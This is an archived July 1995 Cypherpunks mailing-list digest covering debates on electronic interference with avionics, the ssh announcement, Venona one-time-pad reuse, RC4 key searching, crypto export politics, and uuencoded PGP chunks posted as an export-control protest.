> I believe) pilots would occassionally lose instruments (VLS, etc) when
> passengers would activate portable transistor radios and such. Particularly
> radios.. But there was another case involving a portable computer.. These
> cases have been documented. It's a good thing the plain wasn't on a 
> landing approach during a storm, or things could've gone very bad very
> quickly.

A transistor radio puts out such a minute amount of RF (at 455 KHz and/or
10.7 MHz, the IF freqs of the radio) that most insturments designed to
pick up RF can't detect this stuff from more than a few feet away.  FCC
regulations say that if your avionics is being interfered with, it's YOUR
problem, not the guy that just turned on his radio.  If someone's avionics
is being interfered when I turn on an AM/FM transistor radio, then I'd say
that he either needs to get his avionics fixed, or he's using illegal
consumer-grade radios (which are usually junk anyway - even much ham radio
gear is garbage, unfortunately), instead of the type-accepted stuff he's
supposed to be using.  I'd be interested in finding out more about this
guy and his "VLS-jumped-when-someone-turned-on-their-radio" story. 

>  I heard about the portable computer via a different source. The guy
> kept turning his computer on. The instruments would do a little dance.
> The captain would tell the stewardess, she would tell the passenger, he
> would turn it off for a while. Then, he would turn it on and repeat..
> Until finally he refused to turn it off, so they confiscated it and
> returned it at the end of the trip. Urban Legend? maybe..

The early laptop computers would put out an amazing amount of crap.  I 
used to have a Zenith laptop, and when I'd turn the thing on, it'd throw 
out junk that I could hear on every radio in the house, including the 2m 
FM stuff, the HF rig, and I could even hear it out in my car on the 2m 
mobile!  I can believe it, but that's no excuse for just saying, "well, 
let's just ban all of it..."

>  Believe what you want, but investigate the reports before dissmissing it
> out of hand as propaganda. I'd rather stay alive than rely on "theoretically
> it shouldn't matter." :)

My point is, it's not your, nor my responsibility to refrain from using 
our radios - it's the responsibility of the avionics people to make sure 
that their radios are within spec and are kept that way.  If they don't 
bother, that's not my fault.

> Keep in mind that newer planes (767, 757) let you do anything you want
> while the plane is in flight (but now while landing or takeoff), so they
> probably build better instrumentation and cabin shielding into the planes
> these days. If they say keep it off, chances are they have a good reason..

Again, my contention is that they don't.

> If you find categorical evidence to the contrary, I'm sure I would be very
> relieved to see it posted here. (rather than wondering if somebody
> in one of the 30 rows ahead of me might decide he knows better)

The ng rec.radio.amateur.misc might have some additional stuff in the FAQ,
and the ARRL certainly has a mountain of information on this - I'll poke
around.  'echo help|Mail info at arrl.org' might yield some interesting
things... 
--
Ed Carp, N7EKG    			Ed.Carp at linux.org, ecarp at netcom.com
801/534-8857 voicemail			801/460-1883 digital pager
Finger ecarp at netcom.com for PGP 2.5 public key		an88744 at anon.penet.fi

Q.	What's the trouble with writing an MS-DOS program to emulate Clinton?
A.	Figuring out what to do with the other 639K of memory.






From perry at imsi.com  Wed Jul 12 10:39:33 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 10:39:33 PDT
Subject: Don't trust the net too much
In-Reply-To: <doug-9506121658.AA0069320@netman.eng.auburn.edu>
Message-ID: <9507121739.AA10924@snark.imsi.com>



Doug Hughes writes:
> If you saw that PBS documentary (they want $20,000 for rebroadcast by the 
> way). It was an 87 or 88 or something like that. It would make you
> a believer. There was a lady in a van that whenever she used her cellular
> phone, her sun's breathing apparatus (lung impaired) went into alarm.
>  There was another case at a hospital pre-natal care word near the main
> entrance to the hospital. Several occasions when a local bus loop went
> by, and the guy happened to be talking on the intercom of the bus, several
> of the units in the ward went into alarm and failed (they had a tough time
> tracking that one down by the way). 

There is a huge difference between noting that some electronic
equipment is temporarily vulnerable to interference, or that you can
read screens at a distance from the emitted radiation, and saying that
you can build these portable ray-guns that cause computers to fry at
200 yards.

.pm





From samman at CS.YALE.EDU  Wed Jul 12 10:49:05 1995
From: samman at CS.YALE.EDU (Rev. Ben)
Date: Wed, 12 Jul 95 10:49:05 PDT
Subject: Don't trust the net too much
In-Reply-To: <9507121505.AA10601@snark.imsi.com>
Message-ID: <Pine.A32.3.91.950712134619.10210J-100000@JAGUAR.ZOO.CS.YALE.EDU>


On Wed, 12 Jul 1995, Perry E. Metzger wrote:

> Doug Hughes writes:
> > I think there was a question of some microelectronics being permenently
> > damaged because of fusion at the MOS level (burning through the
> > gate),
> 
> To do that requires that you transfer energy from your device into the
> computer you are attacking. How do you propose to do that?

airburst? :)

Ben.






From m5 at dev.tivoli.com  Wed Jul 12 10:53:54 1995
From: m5 at dev.tivoli.com (Mike McNally)
Date: Wed, 12 Jul 95 10:53:54 PDT
Subject: general RC4 key searcher: optimisations anyone?
In-Reply-To: <9507121259.ZM1196@lennon.alias.com>
Message-ID: <9507121753.AA08575@vail.tivoli.com>



Jonathan Shekter writes:
 > >After all, the kind of really high powered systems that can make a
 > >large dent in the key space are not running Windows NT.
 > 
 > 	Umm... ever hear of an Alpha?

Also, I've been quite impressed with the Pentium times.  It must have
something to do with the "friendliness" towards byte operations in the
Intel architecture.


(Also also, I should note that one can only have sympathy for anybody
trying to run NT on anything *but* a high-powered system :-)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Nobody's going to listen to you if you just | Mike McNally (m5 at tivoli.com) |
| stand there and flap your arms like a fish. | Tivoli Systems, Austin TX    |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From carolab at censored.org  Wed Jul 12 10:54:15 1995
From: carolab at censored.org (Censored Girls Anonymous)
Date: Wed, 12 Jul 95 10:54:15 PDT
Subject: 17 down 696 to go /repost
Message-ID: <Pine.BSI.3.91.950712124927.6968A-100000@usr2.primenet.com>


Something's wrong with the Primenet Mail server I think.
I'm in pine, off the shell, so I can't sign it.

Love Always,

Carol Anne
                            PGP.ZIP PART [017/713]
                                       
   This just cycles through: when part 713 is reached, part 0 will be
   recycled. We are on export 0 at the moment.
     _________________________________________________________________
   

------------------ PGP.ZIP Part [017/713] -------------------
M8H,),S$8G>&.WP(8IRA`-M['+`Q%&_C"">5-F%LX@<_Q$;*P'',Q$Z/AA[8M
MF=O0H+*%(-S%&>S%+FS&<LS%3(Q&#W1"<]2%`H^;,]^1C$'HBN8PX$4SYAU^
MPGD<Q0ZLA0D+,`MCT!LA**4M[-JPAK9F?40!AJ,CW"'%DR#:'9?Q)3[%<DQ`
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/

   
     _________________________________________________________________
   
    Warning: it may be illegal to use one of these as a sig file in the US
    
   Don't feel obliged to use this chunk just because you have requested
   it. It hardly matters if some parts aren't posted as there are easier
   ways to get PGP, like open ftp sites, from which it is 100% legal for
   both US and non-US people to ftp from. It is merely a political
   statement about the ridiculous nature of ITAR regulations


Member Internet Society - Certified BETSI Programmer - WWW Page Creation
-------------------------------------------------------------------------
Carol Anne Braddock         <--now running linux 1.0.9 for your pleasure
carolann at censored.org             __  __     ____  ___       ___ ____
carolab at primenet.com             /__)/__) / / / / /_  /\  / /_    /
carolb at spring.com               /   / \  / / / / /__ /  \/ /___  /
-------------------------------------------------------------------------
A great place to start
My Cyber Doc...






From paul at poboy.b17c.ingr.com  Wed Jul 12 10:54:36 1995
From: paul at poboy.b17c.ingr.com (Paul Robichaux)
Date: Wed, 12 Jul 95 10:54:36 PDT
Subject: EMI (was: Re: Don't trust the net too much)
In-Reply-To: <Pine.3.89.9507121027.B1475-0100000@khijol>
Message-ID: <199507121749.AA12206@poboy.b17c.ingr.com>


-----BEGIN PGP SIGNED MESSAGE-----

Ed Carp said:

> This sounds like absolute propoganda.  If you do the calculations, you'll 
> see that a 1 watt transmitter sitting 100 feet away from your target will 
> generate an EMF less than that 1000kW ERP TV transmitter array you just 
> flew over.  If aircraft avionics were *that* sensitive, we'd have planes 
> falling out of the sky, and we don't. 

Oh, yes-- we do. The Army lost a small number (two or three) of of
UH-60 Black Hawks in crashes where the flight control system suddenly
commanded extreme pitch or attitude changes. Why? In all the crash
cases, EMI from nearby TV or FM transmitters was found to be the
proximate cause. The Army, and Sikorsky, immediately went to work to
better shield the FCS from EMI.

It's interesting to note that the Navy's SH-60, a UH-60 variant, was
designed from the start to be EMI-immune. Ships' radars operate in the
10-100kW range, and that's a lot of EMI when you're landing 15-20m
away from the radar mast.

- -Paul

- -- 
Paul Robichaux, KD4JZG       | Do you support free speech even when you don't
perobich at ingr.com            | like what's being said?
		 Be a cryptography user. Ask me how.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMAQLM6fb4pLe9tolAQF9NgQAvwOl00o+zwfEsOXClVUgJ8odeHjq5B/Z
+2O8pHo04cSin0wwsrRqdu/3XOwQ6UZpZmw/cnxBglZOnTwVvtoTkb/ZpYhPZr94
6tbnCCMxUb4W/Yiqz4sJ/AF4afxkyn6N9h8U0Hg86vkhYprTqIWL00/k1LDWkQOg
XhpWLcci/vg=
=LLsp
-----END PGP SIGNATURE-----





From jamesd at echeque.com  Wed Jul 12 10:56:30 1995
From: jamesd at echeque.com (James A. Donald)
Date: Wed, 12 Jul 95 10:56:30 PDT
Subject: RACIST MILITIA: ATF
Message-ID: <199507121754.KAA19611@blob.best.net>


At 07:46 AM 7/12/95 -0400, Perry E. Metzger wrote:
>
>
>And why, pray tell, did you repost this here?

Presumably because government instruments of repression are entirely
relevant to the Cypherpunks list.

I, for one, am much relieved to know that if I avoid conforming
to targeted stereotypes, I am unlikely to be incinerated by 
federal agencies.
--
  ------------------------------------------------------------------
We have the right to defend ourselves	|  http://www.jim.com/jamesd/
and our property, because of the kind	|
of animals that we are. True law	|  James A. Donald
derives from this right, not from the	|
arbitrary power of the omnipotent state.|  jamesd at echeque.com






From perry at imsi.com  Wed Jul 12 11:02:56 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 11:02:56 PDT
Subject: RACIST MILITIA: ATF
In-Reply-To: <199507121754.KAA19611@blob.best.net>
Message-ID: <9507121801.AA10968@snark.imsi.com>



"James A. Donald" writes:
> At 07:46 AM 7/12/95 -0400, Perry E. Metzger wrote:
> >
> >
> >And why, pray tell, did you repost this here?
> 
> Presumably because government instruments of repression are entirely
> relevant to the Cypherpunks list.

I'll be posting my 900 page listing of prison locations, then. I'm
sure its relevant, right?

.pm





From vznuri at netcom.com  Wed Jul 12 11:12:19 1995
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 12 Jul 95 11:12:19 PDT
Subject: Dr. Seuss, Technical Writer
Message-ID: <199507121756.KAA04759@netcom5.netcom.com>




              What If Dr. Seuss Did Technical Writing?
     
Here's an easy game to play.
Here's an easy thing to say:
    
If a packet hits a pocket on a socket on a port, 
And the bus is interrupted as a very last resort,
And the address of the memory makes your floppy disk abort, 
Then the socket packet pocket has an error to report!
     
If your cursor finds a menu item followed by a dash,
And the double-clicking icon puts your window in the trash, 
And your data is corrupted 'cause the index doesn't hash,
Then your situation's hopeless, and your system's gonna crash!
     
You can't say this?
What a shame sir!
We'll find you
Another game sir.
    
If the label on the cable on the table at your house,
Says the network is connected to the button on your mouse, 
But your packets want to tunnel on another protocol, 
That's repeatedly rejected by the printer down the hall,
     
And your screen is all distorted by the side effects of gauss 
So your icons in the window are as wavy as a souse,
Then you may as well reboot and go out with a bang, 
'Cause as sure as I'm a poet, the sucker's gonna hang!
     
When the copy of your floppy's getting sloppy on the disk, 
And the microcode instructions cause unnecessary risc,
Then you have to flash your memory and you'll want to RAM your ROM. 
Quickly turn off the computer and be sure to tell your mom!


 
~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^
\  / ~/ |\| | | |> |  : : : : : : Vladimir Z. Nuri : : : : <vznuri at netcom.com>
 \/ ./_.| | \_/ |\ | : : : : : : ftp://ftp.netcom.com/pub/vz/vznuri/home.html





From erc at khijol.intele.net  Wed Jul 12 11:14:57 1995
From: erc at khijol.intele.net (Ed Carp [khijol Sysadmin])
Date: Wed, 12 Jul 95 11:14:57 PDT
Subject: EMI (was: Re: Don't trust the net too much)
In-Reply-To: <199507121749.AA12206@poboy.b17c.ingr.com>
Message-ID: <Pine.3.89.9507121207.B3180-0100000@khijol>


On Wed, 12 Jul 1995, Paul Robichaux wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Ed Carp said:
> 
> > This sounds like absolute propoganda.  If you do the calculations, you'll 
> > see that a 1 watt transmitter sitting 100 feet away from your target will 
> > generate an EMF less than that 1000kW ERP TV transmitter array you just 
> > flew over.  If aircraft avionics were *that* sensitive, we'd have planes 
> > falling out of the sky, and we don't. 
> 
> Oh, yes-- we do. The Army lost a small number (two or three) of of
> UH-60 Black Hawks in crashes where the flight control system suddenly
> commanded extreme pitch or attitude changes. Why? In all the crash
> cases, EMI from nearby TV or FM transmitters was found to be the
> proximate cause. The Army, and Sikorsky, immediately went to work to
> better shield the FCS from EMI.
> 
> It's interesting to note that the Navy's SH-60, a UH-60 variant, was
> designed from the start to be EMI-immune. Ships' radars operate in the
> 10-100kW range, and that's a lot of EMI when you're landing 15-20m
> away from the radar mast.

Well, I was speaking of commercial aircraft, not military, but the point 
is taken.  I haven't had occasion to use my packet radio lashup on a 
UH-60 -- yet ;)
--
Ed Carp, N7EKG    			Ed.Carp at linux.org, ecarp at netcom.com
801/534-8857 voicemail			801/460-1883 digital pager
Finger ecarp at netcom.com for PGP 2.5 public key		an88744 at anon.penet.fi

Q.	What's the trouble with writing an MS-DOS program to emulate Clinton?
A.	Figuring out what to do with the other 639K of memory.






From http at mojones.mojones.com  Wed Jul 12 11:22:09 1995
From: http at mojones.mojones.com (Mother Jones HTTP Daemon)
Date: Wed, 12 Jul 95 11:22:09 PDT
Subject: Your Beta Signup Confirmation
Message-ID: <199507121804.LAA18120@comsec.com>


You're now a confirmed MoJo Wire Beta Tester
Username: cypherpunks
Password: cypherpunks
For now, look at <http://www.mojones.com:8040/>

Thanks for participating!






From tedwards at src.umd.edu  Wed Jul 12 11:29:04 1995
From: tedwards at src.umd.edu (Thomas Grant Edwards)
Date: Wed, 12 Jul 95 11:29:04 PDT
Subject: NSA, Random Number Generation, Soviet Codes, Prohibition of Crypto
In-Reply-To: <Pine.SUN.3.91.950712113043.23433A-100000@access1.digex.net>
Message-ID: <Pine.SUN.3.91.950712141642.11949B-100000@thrash.src.umd.edu>


On Wed, 12 Jul 1995, Black Unicorn wrote:

> How elegant the way the National 
> Cryptological museum was opened.  No fanfare, no publicity, no 
> invitations, just there to be discovered at first, like a little 
> secret.  Stuck in an old motel, barely visible from Route 32, 
> dwarfed by the massive NSA complex.  

No way!  That hotel was the place my parents stayed on the night after 
their marriage...

-Thomas






From habs at warwick.com  Wed Jul 12 11:58:03 1995
From: habs at warwick.com (Harry S. Hawk)
Date: Wed, 12 Jul 95 11:58:03 PDT
Subject: Stormfront (was Re: FW: Edupage 7/9/95 (fwd))
In-Reply-To: <Pine.3.89.9507111731.B24086-0100000@sibyl.intellinet.com>
Message-ID: <199507121855.OAA29076@cmyk.warwick.com>


> On Tue, 11 Jul 1995, Perry E. Metzger wrote:

> > I suspect that something is amiss (i.e. faked) about the following,
> > but wat.com shows up as
> > 
> > Wongs Advanced Technologies (WAT-DOM)
> >    3221 Danny Pk
> >    Metairie, LA 70002
> > 
> >    Domain Name: WAT.COM


The following seems to work.
>      http://stormfront.wat.com/stormfront/

/hawk




From ylo at cs.hut.fi  Wed Jul 12 12:16:58 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Wed, 12 Jul 95 12:16:58 PDT
Subject: ANNOUNCEMENT: Ssh (Secure Shell) remote login program
In-Reply-To: <m0sW5hj-0009ydC@sdwsys>
Message-ID: <199507121916.WAA06662@shadows.cs.hut.fi>


> ssh, while an obvious name, already collides with a nice shar decoder and
> a different kind of secure shell from CFS.

Ssh has already been registered with IANA (Internet Assigned Numbers
Authority) as the name of the service.  I would rather not change it
without a compelling reason.  It is also easy to obtain from rsh by
replacing the r by s (which also makes for scp, sshd, and in future
maybe also sdist).  It is my understanding that CFS is in rather
limited use (especially outside the US), and the ssh shar extractor is
not widely used either (neither can be found from the archie database
at archie.funet.fi).  IETF has a thing called Site Security Handbook
that they abbreviate SSH, but it is probably sufficiently different
not to be confused.

> Of course support for S/Key and tokens/hand held authenticators would be
> useful additions for some situations (although inferior to RSA...).

True.

The agent protocol can currently be used to forward a connection to
any program (which can mean device) that can perform RSA
authentication.  New authentication methods can be compatibly added
later.

S/Key can be used by making skeysh you login shell.  Then you will
first be asked for a normal password (if any), and then for the
one-time password.  I did not want to incorporate skey functionality
directly into the software, because it is not clear to me if the
arrangements in use (file names, formats, algorithms) have stabilized
yet.  Also, there is less need for skey as no passwords are
transmitted in the clear.

> Integration with TCP/NFS and/or client-server CFS would be fantastic.
> (One local CFS server acting as a secure client over tcp to a remote
> CFS server.)
> Remote encrypted mount of an encrypted partition...

Maybe, *maybe*, TCP/IP port forwarding could be used for this?  (I
don't know what CFS does because I have never seen CFS.)

    Tatu





From stewarts at ix.netcom.com  Wed Jul 12 12:49:09 1995
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 12 Jul 95 12:49:09 PDT
Subject: Q E D_j a k
Message-ID: <199507121947.MAA28807@ix5.ix.netcom.com>


>      The American intelligence establishment today unveiled
>      one of its oldest secrets: how a small team of
>      codebreakers found the first clues that the Soviet Union
>      sought to steal the blueprints for the atomic bomb in

Wow!  They must really be looking for some good publicity these days.
I wonder how much of their motivation is to get PR support for the
black budget, and how much is to support continued crypto export laws?

After all, if the Evil Foreigners had good crypto, the NSA wouldn't
have been able to crack their codes, so therefore it's _vital_ to
_national_security_ that we continue these great laws that are keeping
good crypto securely locked up inside the US borders!

(Yes, I know one-time-pads are provably good crypto, but they also
depend on the security of key distribution and one-time use,
which apparently broke down here.  And the CIA's pretty good at
chasing the guy with briefcases of code material handcuffed to their arms.)

Watch for more pressure from the Administration....
#                                Thanks;  Bill
# Bill Stewart, Freelance Information Architect, stewarts at ix.netcom.com






From sean at escape.ca  Wed Jul 12 13:00:08 1995
From: sean at escape.ca (Sean A. Walberg)
Date: Wed, 12 Jul 95 13:00:08 PDT
Subject: Don't trust the net too much
In-Reply-To: <doug-9506121658.AA0069320@netman.eng.auburn.edu>
Message-ID: <Pine.SOL.3.91.950712144956.21040X-100000@wpg-01.escape.ca>


On Wed, 12 Jul 1995, Doug Hughes wrote:
> Keep in mind that newer planes (767, 757) let you do anything you want
> while the plane is in flight (but now while landing or takeoff), so they
> probably build better instrumentation and cabin shielding into the planes
> these days. If they say keep it off, chances are they have a good reason..
> 
> If you find categorical evidence to the contrary, I'm sure I would be very
> relieved to see it posted here. (rather than wondering if somebody
> in one of the 30 rows ahead of me might decide he knows better)
> 
> Disclaimer: I have absolutely no idea what kind of shielding goes into
> an airplane nor any knowledge of building practices in the airline industry,
> but that should be obvious. ;)

In the Canadian CFS (Canada Flight Supplement), a manual distributed to 
all Canadian pilots and continuously updated, there is a section on this 
kind of thing.   The basic gist of it is that there is no proof that 
computers and cells cause interference, tests have proved inconclusive, 
but there is suspicion.  Then, of course, is a silly little form that you 
are supposed to fill out if you ever have such a problem.

As for cells, a collegue (with his Commercial rating, was going for an
Airline Transport Rating) swore up and down that cells do nothing, and
that the only reason there are phones on airplanes is because with a
standard cell you can phone just about anywhere locally because of the
range an air-ground connection would have a 30,000'.  The plane phones are
supposed to have some sort of device that uses the local cell and forces 
you to pay LD charges.  Whether it is true or not....

But anyway, aircraft instruments operate in just about all bandwiths (HF, 
VHF, UHF mainly, with VHF being very popular.)

Sean

o-------------------o----------------------o-----------------------o
|   Sean Walberg,   |    Tech Support      | Pas_al, _obol, BASI_, |
|  sean at escape.ca   | escape communication |   PostS_ript, T_L...  |
| Mail for PGP key  |      925-4290        | C fills all the holes |
o----------------] http://www.escape.ca/~sean [--------------------o






From cp at proust.suba.com  Wed Jul 12 13:00:15 1995
From: cp at proust.suba.com (alex)
Date: Wed, 12 Jul 95 13:00:15 PDT
Subject: SSL RC4 challenge
In-Reply-To: <199507121722.KAA19834@jobe.shell.portal.com>
Message-ID: <199507122003.PAA02843@proust.suba.com>


> Here is a challenge to try breaking SSL using the default exportable
> encryption mode, 40-bit RC4.  It consists of a record of a submission
> of form data which was sent to Netscape's electronic shop order form in
> "secure" mode.  However the data I entered in the form is not my real
> name and address.  The challenge is to break the encryption and recover
> the name and address info I entered in the form and sent securely to
> Netscape.

Can't we hold off a few weeks on this, so that we can all short the stock 
once it's been offered? <g>






From hardin at cyberspace.com  Wed Jul 12 13:13:15 1995
From: hardin at cyberspace.com (hardin at cyberspace.com)
Date: Wed, 12 Jul 95 13:13:15 PDT
Subject: QED_jak
Message-ID: <9507122009.AA0581@localhost>





Perry Metzger writes:
> 
> 
> John Young writes:
> >    "U.S. Tells How It Found Soviets Sought A-Bomb: Discloses
> >    Clues That Led to Code-Breaking."
> > 

[snip]
> The reports claimed the spys were using one time pads in some flawed
> manner, but did not explain very well what the problem was. Does
> anyone out there know?
> 
> .pm
> 
> 
> 

A real good book with a fair amount of details is Peter Wright's great
book "Spycatcher". The clueless media concentrated on Wright's allegation
that Sir Roger Hollis, head of MI5 was a Soviet mole or the "5th Man"
of the Philby, Burgess, Maclean & Blunt spyring. Now Wright may have been
in Jesus Angleton's psychotic "wilderness of mirrors" too long, but he
did a lot of bugging & stuff w/ GCHQ & he spends a great deal of his book
talking about precisely the Venona decrypts. Briefly there was some reuse
of "one time pads". He gives a fair amount of detail, & I suspect this is
why HRM Govt. was so displeased, the supposed "embarrassment" of the
allegations against long dead Sir Roger being just a cover story & much
easier for the tabloids & general public to understand.

tjh 


This is 1/713 of PGP262i DOS Executable Zipfile UUE'd
Violate the Un-Constitutional ITAR Today!
Get YOUR chunk @ web site below.

------------------ PGP.ZIP Part [005/713] -------------------
M at UIXP9EW\".^Q0XL1SO8"^*_O:U-=H(P&2,1A6YHB?KP@@H2/)$+P at -<PX_(
MPTGLPBHDHSW<(,<O,D$XB'2TA`HQ4D'H at R#<)[Z3*D$P80%N*8D1:Q6"T`\J
M/*/<G_$-/L9&%#L)P at HD82`ZHPG4$%#L*`A7D8M#F(/>"($GRAT$8246(Q:3
-------------------------------------------------------------
for next chunk to export --> http://dcs.ex.ac.uk/~aba/export/





From Rolf.Michelsen at delab.sintef.no  Wed Jul 12 13:47:21 1995
From: Rolf.Michelsen at delab.sintef.no (Rolf Michelsen)
Date: Wed, 12 Jul 95 13:47:21 PDT
Subject: QED_jak
In-Reply-To: <9507121445.AA10531@snark.imsi.com>
Message-ID: <Pine.3.89.9507122225.A949-0100000@ronda.er.sintef.no>


On Wed, 12 Jul 1995, Perry E. Metzger wrote:

> The reports claimed the spys were using one time pads in some flawed
> manner, but did not explain very well what the problem was. Does
> anyone out there know?

According to Christopher Andrew in "KGB: The Inside Story" the Russians 
started to reuse one time pads near the end of the war due to the sheer 
volume of secret information being sent.  This was discovered by Meredith 
Gardener of the ASA in 1948 and later exploited to crack these messages.

The operation goes under the names of Venona and Bride.  The latter is 
used in Peter Wright's book "The Spycatcher's Encyclopedia of Espionage".

-- Rolf


Rolf.Michelsen at delab.sintef.no               "Nostalgia isn't what it
http://www.delab.sintef.no/~rolfm/            used to be..."






From sdw at lig.net  Wed Jul 12 13:54:24 1995
From: sdw at lig.net (Stephen D. Williams)
Date: Wed, 12 Jul 95 13:54:24 PDT
Subject: ANNOUNCEMENT: Ssh (Secure Shell) remote login program
In-Reply-To: <199507121916.WAA06662@shadows.cs.hut.fi>
Message-ID: <m0sW9UK-0009ydC@sdwsys>


> 
> > ssh, while an obvious name, already collides with a nice shar decoder and
> > a different kind of secure shell from CFS.
> 
> Ssh has already been registered with IANA (Internet Assigned Numbers
> Authority) as the name of the service.  I would rather not change it
> without a compelling reason.  It is also easy to obtain from rsh by
> replacing the r by s (which also makes for scp, sshd, and in future
> maybe also sdist).  It is my understanding that CFS is in rather
> limited use (especially outside the US), and the ssh shar extractor is
> not widely used either (neither can be found from the archie database
> at archie.funet.fi).  IETF has a thing called Site Security Handbook
> that they abbreviate SSH, but it is probably sufficiently different
> not to be confused.

I agree as the collisions aren't too bad (except in my /usr/local/bin...).

> > Of course support for S/Key and tokens/hand held authenticators would be
> > useful additions for some situations (although inferior to RSA...).
> 
> True.
> 
> The agent protocol can currently be used to forward a connection to
> any program (which can mean device) that can perform RSA
> authentication.  New authentication methods can be compatibly added
> later.
> 
> S/Key can be used by making skeysh you login shell.  Then you will
> first be asked for a normal password (if any), and then for the
> one-time password.  I did not want to incorporate skey functionality
> directly into the software, because it is not clear to me if the
> arrangements in use (file names, formats, algorithms) have stabilized
> yet.  Also, there is less need for skey as no passwords are
> transmitted in the clear.
> 
> > Integration with TCP/NFS and/or client-server CFS would be fantastic.
> > (One local CFS server acting as a secure client over tcp to a remote
> > CFS server.)
> > Remote encrypted mount of an encrypted partition...
> 
> Maybe, *maybe*, TCP/IP port forwarding could be used for this?  (I
> don't know what CFS does because I have never seen CFS.)

I was actually contemplating a modification to CFS to support a
tunneled TCP based NFS related operation.

CFS, like other specialized NFS servers, talks to NFS clients like
the normal NFS server, but runs on a different RPC port (so you can
run several types of NFS servers).  CFS encrypts directories that 
can be attached and detached without changing the NFS mount.

It occurred to me that it wouldn't be too tough to have one CFSD
open a TCP/socket connection to another CFSD and pass file access
requests instead of implementing them locally.  The encryption
of the ssh link and the on disk encryption of CFSD should be a 
good combination.

I've been compiling under Linux and have had a number of autoconfiguration
errors.  I'll produce a simple-minded patch shortly.
(Thinks I'm cross-compiling, have some include files I don't, don't
have waitpid/wait3, collision with stdc crypt/random defs, etc.)

>     Tatu

sdw
-- 
Stephen D. Williams 25Feb1965 VW,OH (FBI ID) sdw at lig.net http://www.lig.net/sdw
Consultant, Vienna,VA Mar95- 703-918-1491W 43392 Wayside Cir.,Ashburn, VA 22011
OO/Unix/Comm/NN       ICBM/GPS: 39 02 37N, 77 29 16W home, 38 54 04N, 77 15 56W
Pres.: Concinnous Consulting,Inc.;SDW Systems;Local Internet Gateway Co.;28May95




From samman at CS.YALE.EDU  Wed Jul 12 13:57:22 1995
From: samman at CS.YALE.EDU (Rev. Ben)
Date: Wed, 12 Jul 95 13:57:22 PDT
Subject: Q E D_j a k
In-Reply-To: <199507121947.MAA28807@ix5.ix.netcom.com>
Message-ID: <Pine.A32.3.91.950712165501.10002C-100000@JAGUAR.ZOO.CS.YALE.EDU>


On Wed, 12 Jul 1995, Bill Stewart wrote:

> (Yes, I know one-time-pads are provably good crypto, but they also
> depend on the security of key distribution and one-time use,
> which apparently broke down here.  And the CIA's pretty good at
> chasing the guy with briefcases of code material handcuffed to their arms.)

Actually this stuff is most likely shipped under diplomatic pouch.

____
Ben Samman..............................................samman at cs.yale.edu
I have learned silence from the talkative, toleration from the intolerant,
and kindness from the unkind; yet, strange, I am ungrateful to those 
teachers.-- K. Gibran. SUPPORT THE PHIL ZIMMERMANN LEGAL DEFENSE FUND!
For information Email: zldf at clark.net       http://www.netresponse.com/zldf  

Ben.





From perry at imsi.com  Wed Jul 12 14:06:42 1995
From: perry at imsi.com (Perry E. Metzger)
Date: Wed, 12 Jul 95 14:06:42 PDT
Subject: ANNOUNCEMENT: Ssh (Secure Shell) remote login program
In-Reply-To: <m0sW9UK-0009ydC@sdwsys>
Message-ID: <9507122105.AA11297@snark.imsi.com>



Stephen D. Williams writes:
> It occurred to me that it wouldn't be too tough to have one CFSD
> open a TCP/socket connection to another CFSD and pass file access
> requests instead of implementing them locally.  The encryption
> of the ssh link and the on disk encryption of CFSD should be a 
> good combination.

The whole point of CFS was that you could mount remote devices that
were encrypted and decrypt them locally. CFS acts like a scrim over
existing file systems. If the remote machine has your keys on it
you've reduced security and, seemingly to me, gained very little.

Now, what *would* be really neat would be an implementation of CFS in
kernel under 4.4lite using the stacked vnode architecture. It would
probably be fairly simple to do it, and you wouldn't have any context
switches or the like when cfs'ing...

Perry





From ylo at cs.hut.fi  Wed Jul 12 14:17:00 1995
From: ylo at cs.hut.fi (Tatu Ylonen)
Date: Wed, 12 Jul 95 14:17:00 PDT
Subject: ANNOUNCEMENT: Ssh (Secure Shell) remote login program
In-Reply-To: <m0sW9UK-0009ydC@sdwsys>
Message-ID: <199507122116.AAA06846@shadows.cs.hut.fi>


> I've been compiling under Linux and have had a number of autoconfiguration
> errors.  I'll produce a simple-minded patch shortly.
> (Thinks I'm cross-compiling, have some include files I don't, don't
> have waitpid/wait3, collision with stdc crypt/random defs, etc.)

I last configured and compiled ssh on Linux yesterday and had no
problems.  I have slackware 2.2.0.1, kernel 1.2.8, gcc-2.7.0.

Please include version numbers in your report.

    Tatu





From pgf at tyrell.net  Wed Jul 12 14:20:37 1995
From: pgf at tyrell.net (Phil Fraering)
Date: Wed, 12 Jul 95 14:20:37 PDT
Subject: FW: Edupage 7/9/95 (fwd)
In-Reply-To: <9507121233.AA15475@elysion.iaks.ira.uka.de>
Message-ID: <199507122115.AA03497@tyrell.net>


BTW, I read some of the follow-up messages and it turns
out the pages in question _weren't_ in the United States.

They were in Metarie!

I didn't mean to sound critical, BTW; it's just that after
the "porn is only a click away" school of journalism that's
been going on in _this_ country (loosely defined enough to
include Louisiana).

Phil





From bdolan at use.usit.net  Wed Jul 12 14:23:28 1995
From: bdolan at use.usit.net (Brad Dolan)
Date: Wed, 12 Jul 95 14:23:28 PDT
Subject: Anti-Electronic Racketeering Act of 1995 (fwd)
Message-ID: <Pine.SOL.3.91.950712171632.1850A-100000@use.usit.net>




---------- Forwarded message ----------
Date: Wed, 12 Jul 1995 15:28:25 -0400
Subject: Anti-Electronic Racketeering Act of 1995


On June 27, Sen. Grassley introduced extensive criminal amendments to the
federal racketeering act.  S. 974, the "Anti-Electronic Racketeering Act of
1995," would amend U.S. Code sections 18 USC 1961 (criminal RICO statute),
18 USC 1030A (new section on computer crime), 18 USC 2515, 2516
